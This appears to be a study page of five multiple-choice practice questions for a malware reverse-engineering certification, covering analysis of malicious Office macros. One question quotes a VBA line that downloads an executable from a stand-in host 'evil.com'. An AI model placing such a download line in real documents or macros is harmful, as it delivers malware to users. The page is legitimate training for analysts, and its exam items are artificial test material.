What is the primary purpose of using 'oledump' when analyzing an Office document?

To extract and examine the streams within the OLE compound file

To decompile the macro into readable source code

To detect network connections made by the macro

To remove macros from the document

An analyst needs to observe the runtime behavior of a malicious macro, including any network connections and file system changes, without risking the production network. Which approach is most appropriate?

Execute the macro on a standalone physical machine with internet access.

Disable the macro and open the document in Word to see what happens.

Use olevba to extract the macro and then run it in a debugger on the host system.

Run the document in a virtual machine with network simulation and file system monitoring tools.

A malicious macro uses a technique where it stores strings in the document's custom XML properties and reads them at runtime. The VBA code uses the CustomDocumentProperties object to retrieve the strings. What is the primary purpose of this technique?

To make the macro run faster by using external storage

To hide the malicious strings from static analysis of the VBA code

To allow the macro to be updated without changing the document

To bypass macro security settings by using a different object model

A malicious macro contains the following code: 'CreateObject("MSXML2.XMLHTTP").Open "GET", "http://evil.com/payload.exe", False: CreateObject("MSXML2.XMLHTTP").Send'. What is the macro doing?

Opening a network socket to establish a reverse shell.

Creating a scheduled task to run the downloaded file.

Sending a POST request to upload data to a remote server.

Downloading a file from a remote server using an HTTP request.

A malicious macro uses a custom Base64-like encoding scheme and then calls the Windows API function CreateProcess. The analyst has extracted the VBA code but cannot see the actual command line because it is encoded. What is the most efficient way to determine the command line?

Reimplement the decoding logic in a script and run it against the encoded string

Run the macro in a debugger and break on CreateProcess

Search the document for the plaintext command line

Use a hex editor to view the raw binary of the document

GIAC Reverse Engineering Malware

Domain 4Objective 1

Analyzing Malicious Office Macros GREM Practice Questions (Page 1)

Part of the Document and File Analysis domain, which makes up ~23% of our current practice bank. GIAC (SANS) does not publish an official question count, but from its 180-minute exam (~70–120 total, ~16–28 in this domain), expect 5–9 from this objective — we provide 56 practice questions to prepare you well beyond it. (estimate)

56questions here

12free pages

11concepts

Questions 1–5

1foundation · easy
What is the primary purpose of using 'oledump' when analyzing an Office document?
Select an answer first
2application · medium
An analyst needs to observe the runtime behavior of a malicious macro, including any network connections and file system changes, without risking the production network. Which approach is most appropriate?
Select an answer first
3expert · hard
A malicious macro uses a technique where it stores strings in the document's custom XML properties and reads them at runtime. The VBA code uses the CustomDocumentProperties object to retrieve the strings. What is the primary purpose of this technique?
Select an answer first
4application · medium
A malicious macro contains the following code: 'CreateObject("MSXML2.XMLHTTP").Open "GET", "http://evil.com/payload.exe", False: CreateObject("MSXML2.XMLHTTP").Send'. What is the macro doing?
Select an answer first
5expert · hard
A malicious macro uses a custom Base64-like encoding scheme and then calls the Windows API function CreateProcess. The analyst has extracted the VBA code but cannot see the actual command line because it is encoded. What is the most efficient way to determine the command line?
Select an answer first

Finished these 5 questions?

Review the revealed explanations, or continue through the curriculum.

Next 5 questions →Back to GREM

Free Basic Practice is a study aid with revealable answers — not a scored exam. Examers.io is independent and not affiliated with or endorsed by GIAC (SANS). “GREM” is a trademark of its owner, used for identification only.